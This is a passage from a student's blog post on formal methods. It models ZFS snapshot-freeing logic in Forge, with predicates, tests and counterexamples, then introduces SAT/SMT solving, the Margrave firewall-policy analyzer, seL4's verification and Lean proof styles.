increasingly accessible and that software practitioners should, at the very least, be aware of their capabilities. A good engineer knows to pick the right tool for the job, and there are cases where formal methods are just that. + +* Lightweight Formal Methods: Model and Property Checking + +The class I'm taking this semester, [[https://csci1710.github.io/2023/][CSCI 1710: Logic for Systems]], covers model checking with [[https://forge-fm.org/][Forge]]. Forge is practically custom-made for 1710, though it's effectively an alternative implementation of [[https://alloytools.org/][Alloy]], which is somewhat better-known. Forge is developed by [[https://cs.brown.edu/~tbn/][Tim Nelson]] alongside a handful of Brown students. + +"Lightweight" is a term that's [[https://people.csail.mit.edu/dnj/publications/ieee96-roundtable.html][sometimes]] thrown around when discussing these kinds of model checking tools. I'd summarize lightweight formal methods as those built around the idea that "it's better to have an imperfect tool that's useful than a comprehensive tool that's unusable." Alloy (and, by extension, Forge) is probably the best example of this. It's an attempt at the "smallest modelling notation that can express a useful range of structural properties, is easy to read and write, and can be analyzed automatically".[fn:5] It's designed to make it easy to model problems in an abstract and high-level modality. + +These tools take, as input, a specification of structural properties in the form of types and predicates, and validate that these expectations about the properties are true. As an example, let's take a homework problem from Operating Systems -- another class I'm taking this semester. The problem wasn't particularly difficult, but I think that checking my work with Alloy is a more compelling use-case than any of the toy examples I could come up with. + +I'm going to paraphrase the problem text so as to not make the search engine a more useful tool for any future students of the cours.[fn:11] The problem pertains to [[https://en.wikipedia.org/wiki/ZFS][ZFS]], which is a copy-on-write file system. All allocated blocks of the file system are organized as one large tree. When an operation is carried out that would modify a disk block, a copy of that block is made and that copy is what gets modified. Said modified copy is linked into the tree by copying the block's parent node and modifying that copy so that it points to the modified block. This continues all the way up to the root, at which point you have two copies of the root: one which represents the filesystem /before/ the operation took place, and one which represents the filesystem /after/ the operation took place. If you keep the old root around, it's a _snapshot_ of the file system before the operation. + +The problem asks about when the kernel should free a block that was in the file system. In particular: + +- If a file is deleted, how do we know if there's a ZFS snapshot that refers to it? +- If a snapshot is deleted, which files do we free? + +Something important to consider when modeling a system with Alloy is whether details are important enough to include, or if they can be omitted for the sake of making the model easier to reason about. For this problem, we aren't concerned with about the tree-like structure of a file system -- just the time that files are created, whether or not they're free, and whether or not they're referred to by a snapshot (or the current file system). + +(I'm going to use "Alloy" and "Forge" interchangeably in this section, but I am using Forge here.) + +An Alloy spec begins with some definitions. + +#+BEGIN_SRC prog +#lang forge + +option problem_type temporal +option min_tracelength 2 +option max_tracelength 10 + +sig File { + ctime: one Int, + var free: one Int +} + +sig Snapshot extends File { + children: set File, + retired_list: set File +} + +one sig CurrentRoot { + var live_children: set File, + var live_retired_list: set File +} +#+END_SRC + +The problem we're dealing with involves a time domain: a file might exist at one point in time, but we might /delete/ it later on. We begin by telling Forge that this is the kind of problem we're dealing with, and that we only care about traces with a number of unique states between 2 and 10.[fn:10] + +We then model the data types in question. You can think of =sig= like =class= in Java, or whatever your favorite object-oriented programming language is. In our model, every =File= has a static =ctime= representing when the file was created, and whether or not it's =free=. =var= means that the field can vary with time, so operations on the filesystem can affect whether or not a file is free, but not the creation time. + +This might sound wrong, but it's an intentional modeling choice. Rather than model the file system operations we're concerned with as changing the =ctime=, we instead treat it as something static, and consider whether or not it's valid only when the file is allocated. In other words: we don't care what the =ctime= is for a free block, we just care that the =ctime= is equal to the current time when a file is created. + +If that didn't make much sense, it's probably my fault and not yours. That point is a little hard to explain without showing the rest of the code, so just bear with me. + +We'll write some predicates next, to model the properties we're interested in. + +#+BEGIN_SRC prog +pred referenced_by_snapshot[f: File] { + some s: Snapshot { + s.free = 0 + f in s.children + } +} + +pred valid_state { + all f: File { + -- No referenced file should be free. + (f in CurrentRoot.live_children or (some s: Snapshot | f in s.children and s.free = 0)) => f.free = 0 + + -- No file in a retired list should referenced + f in CurrentRoot.live_retired_list => f not in CurrentRoot.live_children + all s: Snapshot { + f in s.retired_list and s.free = 0 => f not in s.children + } + + -- Treat `free` as a boolean. + f.free = 0 or f.free = 1 + } + + -- Snapshots must be roots. + all s1 : Snapshot { + s1 not in CurrentRoot.live_children + s1 not in CurrentRoot.live_retired_list + all s2: Snapshot { + s1 not in s2.children + s1 not in s2.retired_list + } + } +} +#+END_SRC + +Predicates are sentences in first order logic (albeit with respect to a bounded domain, as we'll explain later). The predicates above should be fairly readable with a light explanation of the syntax. Braces (={}=) represent a conjunction, so =referenced_by_snapshot= is equivalent to + +#+BEGIN_SRC prog +pred referenced_by_snapshot[f: File] | (some s: Snapshot | (s.free = 0 and f in s.children)) +#+END_SRC + +"A file =f= is referenced by a snapshot if there's some snapshot =s= which isn't free and refers to =f= by its =children= relation." + +The =valid_state= is an encoding of the safety properties we care about. We'd like to reason about whether or not our ZFS freeing algorithm ever violates some properties that should be true of our model. In particular, that all files that are "active" in the file system should be allocated, and that the retired list should never refer to an allocated file. + +There are some other constraints in the predicate for things which would normally be "obvious," like =free= being either =0= or =1=. An advantage to modeling problems like this in Forge is that it forces you to explicitly enumerate all of your assumptions -- if you don't, it will take advantage of that and produce models that might seem nonsensical but are actually completely valid within the constraints you provided. For example, if we didn't have the constraint that =f.free = 0 or f.free = 1= for all files, and we asked Forge to generate a model of a valid state, it might build a model where every file has =free= set to =-7=. Alloy is really good for forcing you to understand the problem at hand. I'd compare it to having to teach the problem to someone unfamiliar, or [[https://en.wikipedia.org/wiki/Rubber_duck_debugging][explaining a tricky debugging problem to your favorite rubber duck]]. + +Let's define the file system operations now. This is done with predicates as well, which encode whether the post-state accurately reflects a particular operation upon the pre-state. + +#+BEGIN_SRC prog +pred make_snapshot { + one s: Snapshot { + -- The snapshot captures the state of the filesystem at this point in time. + s.children = CurrentRoot.live_children + s.retired_list = CurrentRoot.live_retired_list + + -- The snapshot is now marked as allocated. + s.free = 1 + s.free' = 0 + + all f: File { + f != s => { + -- The free flag is unchanged for every other file. + f.free' = f.free + + -- All other creations happened in the past, relative to this one. + f.free = 0 => s.ctime > f.ctime + } + } + } + + -- The retired list is emptied for the current filesystem. + no live_retired_list' + + -- Nothing else changes. + live_children' = live_children +} + +pred delete_snapshot { + one s: Snapshot { + -- The snapshot is now marked as free + s.free = 0 + s.free' = 1 + + -- TODO: Add reclaiming operation. + + all f: File { + -- The free flag is unchanged for every other file. + f != s => f.free' = f.free + } + } + + -- Nothing else changes. + live_retired_list' = live_retired_list + live_children' = live_children +} + +pred make_file { + one f: File { + -- `f` is added to the set of live children. + CurrentRoot.live_children' = CurrentRoot.live_children + f + -- `f` is marked as allocated. + f.free' = 0 + + -- n.b. it could already be allocated, if a previous snapshot refers to it. + + all f2: File { + f2 != f => { + -- Free flag for other files remains unchanged. + f2.free' = f2.free + + -- All other creations happened in the past, relative to this one. + f2.free = 0 => f.ctime > f2.ctime + } + } + } + + -- Nothing else changes. + live_retired_list' = live_retired_list + live_children' = live_children +} + +pred delete_file { + one f: File { + -- It only makes sense to delete a file if it's in the filesystem + f in CurrentRoot.live_children + + -- Remove it from the filesystem, and reclaim it if applicable. + -- Otherwise, put it in the retired list. + CurrentRoot.live_children' = CurrentRoot.live_children - f + + referenced_by_snapshot[f] => { + -- If another snapshot refers to this one, we don't free it + -- but add it to the retired list. + f.free' = 0 + CurrentRoot.live_retired_list' = CurrentRoot.live_retired_list + f + } else { + -- Otherwise we can free it and the retired list is unchanged. + f.free' = 1 + live_retired_list' = live_retired_list + } + + all f2: File { + -- Free flag for other files remains unchanged. + f2 != f => f2.free' = f2.free + } + } +} +#+END_SRC + +Note that I've left a "TODO" in =delete_snapshot=. We'll add that in later to see how it changes the model. + +We should also encode what the file system looks like in the beginning. + +#+BEGIN_SRC prog +-- We start with an empty filesystem, where everything is free. +pred init { + no CurrentRoot.live_children + no CurrentRoot.live_retired_list + all f: File { + f.free = 1 iff f != CurrentRoot + } +} +#+END_SRC + +And with that, we can say what a "trace" looks like. + +#+BEGIN_SRC prog +pred traces { + init + always (make_snapshot or delete_snapshot or make_file or delete_file) +} +#+END_SRC + +We start from nothing and always perform one of the four operations we care about. + +With that, we have enough that we can ask Forge some questions. We should make sure that our predicates are /satisfiable/, and not so over-constrained that they can never be true, and then we should make sure that =valid_state= is an invariant -- that no operation will violate it. + +#+BEGIN_SRC prog +test expect { + valid_state_vacuity1: { valid_state } for 5 File is sat + valid_state_vacuity2: { valid_state } for exactly 5 File is sat + + init_vacuity1: { init } for 5 File is sat + init_vacuity2: { init } for exactly 5 File is sat + + make_snapshot_vacuity1: { valid_state and make_snapshot } for 5 File is sat + make_snapshot_vacuity2: { valid_state and make_snapshot } for exactly 5 File is sat + make_snapshot_good: { + (valid_state and make_snapshot) => next_state valid_state + } for 5 File is theorem + + delete_snapshot_vacuity1: { valid_state and delete_snapshot } for 5 File is sat + delete_snapshot_vacuity2: { valid_state and delete_snapshot } for exactly 5 File is sat + delete_snapshot_good: { + (valid_state and delete_snapshot) => next_state valid_state + } for 5 File is theorem + + make_file_vacuity1: { valid_state and make_file } for 5 File is sat + make_file_vacuity2: { valid_state and make_file } for exactly 5 File is sat + make_file_good: { + (valid_state and make_file) => next_state valid_state + } for 5 File is theorem + + delete_file_vacuity1: { valid_state and delete_file } for 5 File is sat + delete_file_vacuity2: { valid_state and delete_file } for exactly 5 File is sat + delete_file_good: { + (valid_state and delete_file) => next_state valid_state + } for 5 File is theorem + + traces_vacuity: { traces } for 5 File is sat + traces_vacuity: { traces } for exactly 5 File is sat +} +#+END_SRC + +=for 5 File= tells Forge to consider situations where there are between 0 and 5 files. =for exactly 5 File= tells Forge to consider situations where there are, well, exactly 5 files. I usually include the latter because some over-constrained predicates are satisfiable precisely when there exactly 0 of something, and I'm usually interested in the case where there is at least 1 of something. The "vacuity" tests are there to ensure that the implication isn't "vacuously" true (i.e., the left-hand side is always false and the implication tells us nothing.) + +We can run these tests to find that they all pass. Meaning that if we assume =valid_state= actually encodes what we mean, our model upholds the invariant. Which is good, because intuition tells us that the implementation where we just leak disk space /should/ be safe. + +With that, we can finally answer the second part of the question by updating =delete_snapshot= to reclaim the free space and see if our invariant is violated. + +#+BEGIN_SRC prog +pred delete_snapshot { + one s: Snapshot { + -- The snapshot is now marked as free + s.free = 0 + s.free' = 1 + + all f: File { + -- Added this + f in s.retired_list => f.free' = 1 + -- The free flag is unchanged for every other file. + (f not in s.retired_list and f != s) => f.free' = f.free + } + } + + -- Nothing else changes. + live_retired_list' = live_retired_list + live_children' = live_children +} + +#+END_SRC + +Let's run it. + +#+BEGIN_SRC prog +jakob@whitecloud ~ $ racket 1670-problem.frg +Forge version: 2.7.0 +To report issues with Forge, please visit https://report.forge-fm.org +#vars: (size-variables 1806); #primary: (size-primary 322); #clauses: (size-clauses 3035) +Transl (ms): (time-translation 505); Solving (ms): (time-solving 77) +#vars: (size-variables 1464); #primary: (size-primary 317); #clauses: (size-clauses 2396) +Transl (ms): (time-translation 147); Solving (ms): (time-solving 24) +#vars: (size-variables 1597); #primary: (size-primary 322); #clauses: (size-clauses 2661) +Transl (ms): (time-translation 76); Solving (ms): (time-solving 48) +#vars: (size-variables 1255); #primary: (size-primary 317); #clauses: (size-clauses 2022) +Transl (ms): (time-translation 35); Solving (ms): (time-solving 15) +#vars: (size-variables 3304); #primary: (size-primary 322); #clauses: (size-clauses 8369) +Transl (ms): (time-translation 167); Solving (ms): (time-solving 42) +#vars: (size-variables 2942); #primary: (size-primary 317); #clauses: (size-clauses 7670) +Transl (ms): (time-translation 163); Solving (ms): (time-solving 23) +#vars: (size-variables 38523); #primary: (size-primary 6129); #clauses: (size-clauses 86238) +Transl (ms): (time-translation 1451); Solving (ms): (time-solving 829) Core min (ms): (time-core 0) +#vars: (size-variables 2131); #primary: (size-primary 322); #clauses: (size-clauses 4196) +Transl (ms): (time-translation 64); Solving (ms): (time-solving 21) +#vars: (size-variables 1764); #primary: (size-primary 317); #clauses: (size-clauses 3482) +Transl (ms): (time-translation 54); Solving (ms): (time-solving 21) +#vars: (size-variables 1951); #primary: (size-primary 317); #clauses: (size-clauses 3955) +Transl (ms): (time-translation 52); Solving (ms): (time-solving 17) +Instance found, with statistics and metadata: +(Sat + '(#hash((CurrentRoot . ((CurrentRoot0))) + (File . ((File0) (File1) (File2) (File3) (File4))) + (Snapshot . ((File4))) + (children . ((File4 File2) (File4 File3))) + (ctime . ((File0 5) (File1 -7) (File2 6) (File3 5) (File4 7))) + (free . ((File0 0) (File1 0) (File2 0) (File3 0) (File4 0))) + (live_children . ((CurrentRoot0 File0))) + (live_retired_list . ()) + (retired_list . ((File4 File0) (File4 File1)))) + #hash((CurrentRoot . ((CurrentRoot0))) + (File . ((File0) (File1) (File2) (File3) (File4))) + (Snapshot . ((File4))) + (children . ((File4 File2) (File4 File3))) + (ctime . ((File0 5) (File1 -7) (File2 6) (File3 5) (File4 7))) + (free . ((File0 1) (File1 1) (File2 0) (File3 0) (File4 1))) + (live_children . ((CurrentRoot0 File0))) + (live_retired_list . ()) + (retired_list . ((File4 File0) (File4 File1))))) + '((size-variables 1951) + (size-clauses 3955) + (size-primary 317) + (time-translation 52) + (time-solving 17) + (time-building 1681047504957)) + '((prefixLength 2) (loop 1))) +Sterling running. Hit enter to stop service. +#+END_SRC + +Our test fails, and Forge shows us a counterexample! This is the first state: + +[[./forge-1-1.png]] +#+CAPTION: First counterexample, first state. + +Then we delete a snapshot (=File4=). + +[[./forge-1-2.png]] +#+CAPTION: First counterexample, second state. + +It might be a little hard to visually parse, but =File0= is being freed. It's in a snapshot's retired list, but it's live in the current file system as well. So if we free it, we end up violating the invariant that every live file should be allocated. + +This is pretty interesting from a counterexample perspective. Can we delete a file and then have it.. come back? Maybe, but I'm going to say "probably not" in the case of this homework problem. (Though it is helpful to have another assumption I can make explicit in my solution set!) So let's treat this as a modeling issue and fix it. The problem is that we have a file that comes back to life: it's in some snapshot's =retired_list=, but then it also shows back up in the root's =live_children=. The same issue can also manifest as a file being in a snapshot's =retired_list= and also in a a later snapshot's =children=. Let's add this to the safety property: + +#+BEGIN_SRC prog +pred valid_state { + all f: File { + -- No referenced file should be free. + (f in CurrentRoot.live_children or (some s: Snapshot | f in s.children and s.free = 0)) => f.free = 0 + + -- No file in a retired list should referenced + f in CurrentRoot.live_retired_list => f not in CurrentRoot.live_children + all s: Snapshot { + f in s.retired_list and s.free = 0 => f not in s.children + } + + -- Treat `free` as a boolean. + f.free = 0 or f.free = 1 + } + + -- Snapshots must be roots. + all s1 : Snapshot { + s1 not in CurrentRoot.live_children + s1 not in CurrentRoot.live_retired_list + all s2: Snapshot { + s1 not in s2.children + s1 not in s2.retired_list + } + } + + -- Added this! + all f: File | (all s1: Snapshot | f in s1.retired_list => { + f not in CurrentRoot.live_children + all s2: Snapshot { + s2.ctime > s1.ctime => f not in s2.children + } + }) + + -- This was also necessary -- clock is monotone. + all disj f1, f2: File | f1.ctime != f2.ctime +} +#+END_SRC + +And now we get a more sensible counterexample. + +[[./forge-1-3.png]] +#+CAPTION: Second counterexample, first state. + +[[./forge-1-4.png]] +#+CAPTION: Second counterexample, second state. + +Now we have a file being freed that's also referred to by a previous snapshot. This makes sense, and reveals an actual issue with the approach of "let's delete everything in the retired list." What we actually need to do is check to see if any snapshots refer to an entry in the retired list before deleting it. How we do this is the subject of the first part of the problem, which we'll get to. For now, let's assume we have some efficient predicate to tells us if a file is referenced by an earlier snapshot. + +#+BEGIN_SRC forge +pred referenced_by_no_other_snapshot[f: File] { + all s: Snapshot { + s.free = 0 => f not in s.children + } +} + +pred delete_snapshot { + one s: Snapshot { + -- The snapshot is now marked as free + s.free = 0 + s.free' = 1 + + all f: File { + (f in s.retired_list and referenced_by_no_other_snapshot[f]) => { + f.free' = 1 + } else { + -- The free flag is unchanged for every other file. + f != s => f.free' = f.free + } + } + } + + -- Nothing else changes. + live_retired_list' = live_retired_list + live_children' = live_children +} +#+END_SRC + +#+BEGIN_SRC prog +jakob@whitecloud ~ $ racket 1670-problem.frg +Forge version: 2.7.0 +To report issues with Forge, please visit https://report.forge-fm.org +#vars: (size-variables 3529); #primary: (size-primary 322); #clauses: (size-clauses 7302) +Transl (ms): (time-translation 794); Solving (ms): (time-solving 127) +#vars: (size-variables 3162); #primary: (size-primary 317); #clauses: (size-clauses 6638) +Transl (ms): (time-translation 296); Solving (ms): (time-solving 93) +#vars: (size-variables 1597); #primary: (size-primary 322); #clauses: (size-clauses 2661) +Transl (ms): (time-translation 52); Solving (ms): (time-solving 41) +#vars: (size-variables 1255); #primary: (size-primary 317); #clauses: (size-clauses 2022) +Transl (ms): (time-translation 62); Solving (ms): (time-solving 14) +#vars: (size-variables 3947); #primary: (size-primary 322); #clauses: (size-clauses 9561) +Transl (ms): (time-translation 239); Solving (ms): (time-solving 65) +#vars: (size-variables 3560); #primary: (size-primary 317); #clauses: (size-clauses 8837) +Transl (ms): (time-translation 233); Solving (ms): (time-solving 55) +#vars: (size-variables 44814); #primary: (size-primary 6129); #clauses: (size-clauses 107343) +Transl (ms): (time-translation 2139); Solving (ms): (time-solving 777) Core min (ms): (time-core 0) +#vars: (size-variables 3934); #primary: (size-primary 322); #clauses: (size-clauses 8718) +Transl (ms): (time-translation 126); Solving (ms): (time-solving 48) +#vars: (size-variables 3542); #primary: (size-primary 317); #clauses: (size-clauses 7979) +Transl (ms): (time-translation 121); Solving (ms): (time-solving 31) +#vars: (size-variables 44652); #primary: (size-primary 6129); #clauses: (size-clauses 107046) +Transl (ms): (time-translation 1545); Solving (ms): (time-solving 1413) Core min (ms): (time-core 0) +#vars: (size-variables 3844); #primary: (size-primary 322); #clauses: (size-clauses 9198) +Transl (ms): (time-translation 82); Solving (ms): (time-solving 40) +#vars: (size-variables 3452); #primary: (size-primary 317); #clauses: (size-clauses 8459) +Transl (ms): (time-translation 113); Solving (ms): (time-solving 34) +#vars: (size-variables 43842); #primary: (size-primary 6129); #clauses: (size-clauses 103941) +Transl (ms): (time-translation 1342); Solving (ms): (time-solving 1027) Core min (ms): (time-core 0) +#vars: (size-variables 3831); #primary: (size-primary 322); #clauses: (size-clauses 8652) +Transl (ms): (time-translation 94); Solving (ms): (time-solving 49) +#vars: (size-variables 3454); #primary: (size-primary 317); #clauses: (size-clauses 7958) +Transl (ms): (time-translation 98); Solving (ms): (time-solving 34) +#vars: (size-variables 43761); #primary: (size-primary 6129); #clauses: (size-clauses 105993) +Transl (ms): (time-translation 1218); Solving (ms): (time-solving 1214) Core min (ms): (time-core 0) +#vars: (size-variables 4586); #primary: (size-primary 322); #clauses: (size-clauses 13204) +Transl (ms): (time-translation 111); Solving (ms): (time-solving 34) +#vars: (size-variables 4124); #primary: (size-primary 317); #clauses: (size-clauses 12205) +Transl (ms): (time-translation 80); Solving (ms): (time-solving 10) +#vars: (size-variables 87834); #primary: (size-primary 6273); #clauses: (size-clauses 264636) +Transl (ms): (time-translation 3211); Solving (ms): (time-solving 10304) Core min (ms): (time-core 0) +#+END_SRC + +Sweet. Now, let's tackle the first problem. I posit that this can be determined by walking the snapshots and seeing if any exist with a =ctime= /after/ the block's =ctime= and /before/ the time of the deletion. + +#+BEGIN_SRC prog +test expect { + problem_2b: { traces => always { + all f: File | referenced_by_snapshot[f] => { + some s: Snapshot | s.free = 0 and s.ctime > f.ctime + }}} for exactly 5 File is theorem +} +#+END_SRC + +#+BEGIN_SRC prog +jakob@whitecloud ~ $ racket 1670-problem.frg +Forge version: 2.7.0 +To report issues with Forge, please visit https://report.forge-fm.org +#vars: (size-variables 4660); #primary: (size-primary 329); #clauses: (size-clauses 13496) +Transl (ms): (time-translation 910); Solving (ms): (time-solving 67) Core min (ms): (time-core 0) +#+END_SRC + +Nice! Now I have some confidence that my homework answers are right. + +** What's Going On? + +The approach is similar to what we examined before with our stochastic sorting test, except that Forge checks every possible input (up to a bound), rather than sampling a few dozen to check. It's also smart enough to do some pruning, so that the search doesn't take unreasonably long. In a lot of cases, this is sufficient (and far better than the alternative), but if your state space is infinite, the tool won't be able to exhaustively search for a counterexample. + +In fact, in 1710, we've often /significantly/ capped the state space. Unless you tell Forge otherwise, [[https://github.com/tnelson/Forge/wiki/Integers][integers are 4 bits wide]] (!), meaning that it only considers every integer as being in $[-8, 7]$. Surprisingly, this is somewhat conducive to discovering bugs, as the effects of integer overflow are more easily observed. Nonetheless, it does mean that a bug that manifests only when a particular integer is, say, $16$, would pass right by you unless you had the insight to increase your bit-width. + +** How Does It Work? + +"Simply" by translating the rules imposed by the model to an instance of SAT/SMT[fn:6]. If you haven't studied algorithms, SAT is the problem of finding an assignment of values to variables (if one exists) such that a particular /boolean formula/ evaluates to true. A formula, in this case, is a combination of variables joined together by AND, OR, and NOT operators. For example: + +$$ +a \land b \land \lnot c \lor d +$$ + +A satisfying assignment would be to set $a, b, d$ to "true" and $c$ to "false". SAT is the [[https://en.wikipedia.org/wiki/Cook%E2%80%93Levin_theorem][classical example]] of an [[https://en.wikipedia.org/wiki/NP-complete][NP-complete]] problem (though my undergraduate algorithms education focused more on the special case of [[https://en.wikipedia.org/wiki/Boolean_satisfiability_problem#3-satisfiability][3-SAT]]), but there are still solvers that are reasonably fast, like [[https://github.com/Z3Prover][Z3]]... which you might be familiar with from some of my [[https://jakob.space/blog/challenges-re-writeups-4.html][earlier writing]]. There, we used Z3 as a constraint solver: we had some constraints from the key validation algorithm, and had to generate a key that satisfied all of the constraints. The idea here is similar; our abstract specification is translated to a set of constraints (which are encoded as a [[https://www.maplesoft.com/support/help/maple/view.aspx?path=Formats%2FCNF][particular kind of boolean formula]]), which can then be fed into a SAT/SMT solver. + +I've implicitly referred to Z3 as a SAT solver in the preceding paragraph, but it's actually a SMT solver. The difference is that SMT generalizes the satisfiability problem to formulas consisting of more than just booleans. That's why it was useful in our key generation algorithm, since we were dealing with bit vectors and integers and such. + +SMT is actually more general than that. SMT stands for "satisfiability modulo theories," and the "modulo theories" part refers to the fact that an SMT instance is interpreted over some set of axioms. A particular set of axioms in Z3 is a "logic," and the reason that Z3 is a "theorem prover" is because it can actually produce proofs of unsatisfiability in certain logic systems... to a point. Often there will be a requirement that the input formula be free of quantifiers. There are nevertheless many interesting theorems which can be formulated (and proved) in light of these restrictions. + +At this point in my education, I would like to emphasize the scare quotes in the leading paragraph as much as possible, because I have yet to delve into how that translation actually happens. The SAT/SMT side of formal methods is the one I'm least familiar with, at the time of writing this. + +** Margrave + +As it turns out, model checking is quite useful for access-control policy analysis. An interesting application of model checking is the [[http://www.margrave-tool.org/][Margrave Policy Analyzer]]. The principle underlying the tool is that, although some realizable policies could have an unbounded state space (or one which is too large to exhaustively search), the formulas corresponding to many firewall-analysis problems in practice /are/ amenable to exhaustive analysis. The most compelling feature, in my opinion, is change impact analysis, which I'll briefly introduce by way of analogy: a task I've found Forge to be particularly good at is "diffing" predicates. + +#+BEGIN_SRC prog +test expect { + is_equiv: { prop1 iff prop2 } is theorem +} +#+END_SRC + +Essentially, this checks that =prop1= is equivalent to =prop2= (if =prop1= is true then =prop2= is true, and vice versa) and provides a counterexample if that isn't the case. Margrave answers similar questions. Particularly, "if I change or add this rule, what situations are now permitted or denied which would not be so before?" In fact the queries in Margrave are of essentially the same form. + +#+BEGIN_SRC prog +EXPLORE +(InboundACL:Permit() AND + NOT InboundACL_new:Permit()) OR +(InboundACL_new:Permit() AND + NOT InboundACL:Permit())) + +IS POSSIBLE? +#+END_SRC + +The above is "Query 5" from the paper.[fn:7] Margrave supports other queries as well, along the same sorts of queries one might make in Alloy. "Show me a run where the principal has these attributes and the decision is to permit, if one exists," or "are there any rules which are superfluous and never apply to any packet?" + +Microsoft provides a [[https://github.com/Z3Prover/FirewallChecker][similar tool]] using Z3 for analyzing Windows Firewall policies (mostly oriented toward the Azure use-case). [[https://ahelwer.ca/post/2018-02-13-z3-firewall/][This]] is a nice introductory-level summary. + +* Formal Specification and Theorem Proving + +In my outline, I'd titled this section "heavyweight formal methods: specification and theorem proving," but I'm not sure I've actually heard the term "heavyweight" used to describe these approaches. My intent was to contrast this from the "lightweight" approaches we discussed above. Essentially, we're now considering the opposite end of the spectrum. + +My favorite example of "not lightweight" application of formal methods is the [[https://sel4.systems/][seL4]] microkernel. It's been around long enough that it's old news by now, but I still think it was (and is) an incredible endeavor. At a high-level, the authors _specified_ some desirable security properties of a microkernel ([[https://en.wikipedia.org/wiki/Information_security][confidentiality, integrity, and availability]]) and what interfaces the microkernel should provide in terms of an abstract model. They prove, using [[https://en.wikipedia.org/wiki/Isabelle_(proof_assistant)][Isabelle/HOL]], that the interface specification upholds the security properties. Furthermore, they prove that their C implementation /refines/ the abstract model (any behavior observable in the C implementation is a valid behavior in the abstract model), and the verification concludes with a proof that [[https://dl.acm.org/doi/abs/10.1145/2491956.2462183][GCC compiles their C implementation correctly]]. + +** Theorem Proving + +The first thing to understand about the seL4 approach is the class of tooling they leveraged: proof assistants, or theorem provers. NICTA used Isabelle/HOL, which I'm not especially familiar with. The proof assistant I am familiar with is Lean, since it's what Rob Lewis used in his teaching of [[https://browncs1951x.github.io/][CSCI 1951X: Formal Proof and Verification]], so that's what I'll be writing about. + +On the tin, Lean is a theorem prover (or proof assistant), but at its core, it's a dependently-typed functional programming language. What immediately follows from having dependent types and the [[https://ncatlab.org/nlab/show/propositions+as+types][PAT principle]] (or [[https://en.wikipedia.org/wiki/Curry%E2%80%93Howard_correspondence][Curry-Howard correspondence]]) is that Lean can be used to reason about logical proofs. I think this is true of Isabelle/HOL, as well as other proof assistants like Coq and Agda. + +When you're first learning Lean, it might not be immediately obvious that it's a general-purpose programming language. The first code snippets you'll see are likely to be proofs. + +#+BEGIN_SRC lean +lemma nat.add_comm : ∀ n m : ℕ, n + m = m + n +| n 0 := eq.symm (nat.zero_add n) +| n (m+1) := + suffices succ (n + m) = succ (m + n), from + eq.symm (succ_add m n) ▸ this, + congr_arg succ (add_comm n m) +#+END_SRC + +This probably does, if you're coming from a programming background, look quite foreign. It may slightly more sensible if you're coming from a math background: this is a lemma about the commutability of addition over the naturals. For two arbitrary natural numbers $n$ and $m$, it is the case that $n + m = m + n$, and the proof proceeds with induction on $m$. Obviously, if $m = 0$, then $n + 0 = 0 + n$. For any other $m$, it suffices to show that $(n + m) + 1 = (m + n) + 1$, which follows from the inductive hypothesis. + +But that's an explanation of the underlying math. In the programming language sense, this is code to construct a value of type =∀ n m : ℕ, n + m = m + n= -- proofs are terms, and propositions are types. If we print out =nat.add_comm=, we'll see that the result is just a function that takes two natural numbers as inputs. + +#+BEGIN_SRC lean +theorem nat.add_comm : ∀ (n m : ℕ), n + m = m + n := +λ (n m : ℕ), + nat.brec_on m + (λ (m : ℕ) (_F : nat.below (λ (m : ℕ), ∀ (n : ℕ), n + m = m + n) m) (n : ℕ), + nat.cases_on m + (λ (_F : nat.below (λ (m : ℕ), ∀ (n : ℕ), n + m = m + n) 0), + id_rhs (n + 0 = 0 + n) (eq.symm (nat.zero_add n))) + (λ (m : ℕ) (_F : nat.below (λ (m : ℕ), ∀ (n : ℕ), n + m = m + n) (nat.succ m)), + id_rhs (n + (m + 1) = nat.succ m + n) (eq.symm (nat.succ_add m n) ▸ congr_arg nat.succ (_F.fst.fst n))) + _F) + n +#+END_SRC + +This isn't especially readable, and I doubt Lean practitioners typically inspect proofs in this way, but I think it is instructive to see that the proof boils town to what is effectively a type constructor over two naturals. + +Proofs in lean are written either in a forward style: + +#+BEGIN_SRC lean +lemma fst_of_two_props : + ∀a b : Prop, a → b → a := +fix a b : Prop, +assume ha : a, +assume hb : b, +show a, from ha +#+END_SRC + +or in a tactical style: + +#+BEGIN_SRC lean +lemma fst_of_two_props : + ∀a b : Prop, a → b → a := +begin + intros a b, + intros ha hb, + apply ha +end +#+END_SRC + +The former is a sort of forward reasoning, where each line is a step to transform the hypothesis (=∀a b : Prop, a → b=) into the goal (=a=), whereas the latter is a sort of backward reasoning, where after eliminating any quantifiers, we're left with the goal and attempt to work backwards. These aren't particularly good examples because they involve only a single step besides quantifier elimination, but I hope they're simple enough to understand. + +In the forward-style proof, =fix a b= is telling Lean that we want to eliminate the =∀= quantifier and say that =a, b= are two arbitrary propositions. Then we =assume= the left-most part of =a → b → a= as =ha= (a hypothesis that =a= is true), which leaves us with the task of showing that =b → a=. Then we =assume= that =b= is true, notating this assumption as =hb=, and then we're left with the task of showing =a=. Fortunately, this is exactly our assumption =ha=, so it's easy to show that =a= is true. Quod erat demonstrandum. + +In the tactical style, we're doing the exact same thing, except that we use =intros= instead of =fix= or =assume=. The effect is the same: eliminate some quantifier and give a name to what's being extracted in the environment. In tactic mode, we use =apply= to transform the "goal state." In this case, our goal is =a= and we have a hypothesis =ha= that is exactly =a=, so we're done when we apply it. But if we had some other hypothesis (say =hx=) which was =b → a=, and we did =apply hx=, our goal state would change to =b= (to show =a=, it suffices to show =b=), and we would still have some work to do. If we still had =hb=, we could =apply hb= and then the proof would be complete. + +I'll be using tactic mode for the proofs in this article, and I'll make an effort to explain what I'm doing. If you'd like a more detailed tutorial on tactic-mode proofs, I would highly recommend the interactive (browser-based!) [[https://www.ma.imperial.ac.uk/~buzzard/xena/natural_number_game/][Natural Number Game By Kevin Buzzard and Mohammad Pedramfar]]. + +(One other thing I'd like to point out is that some of the examples in this section will be Lean 3 code. The current version of Lean, Lean 4, isn't backwards-compatible with Lean 3. My opinion is that Lean 4 a much better tool, and thus, I'm using it in my research[fn:8], but 1951X used Lean 3 and I'd like to be able to present parts my final project without having to rewrite them.) + +Compared to SMT, proof assistants tend to be far less restrictive on the kinds of formulas that can be proved. In addition to admitting formulas in higher-order logic, we can also use quantifiers freely in formulating the statements we want to prove. On the other hand, proof assistants have the disadvantage is that there isn't really "push-button automation." There are tools (such as Isabelle's famous [[https://isabelle.in.tum.de/website-Isabelle2009-1/sledgehammer.html][sledgehammer]]) that will automate the proof search, but they're only effective in a handful of cases. + +** Specification + +When we wrote our property tests for Scheme, we formalized our properties as Scheme functions returning booleans (predicates). We did something similar when we wrote our 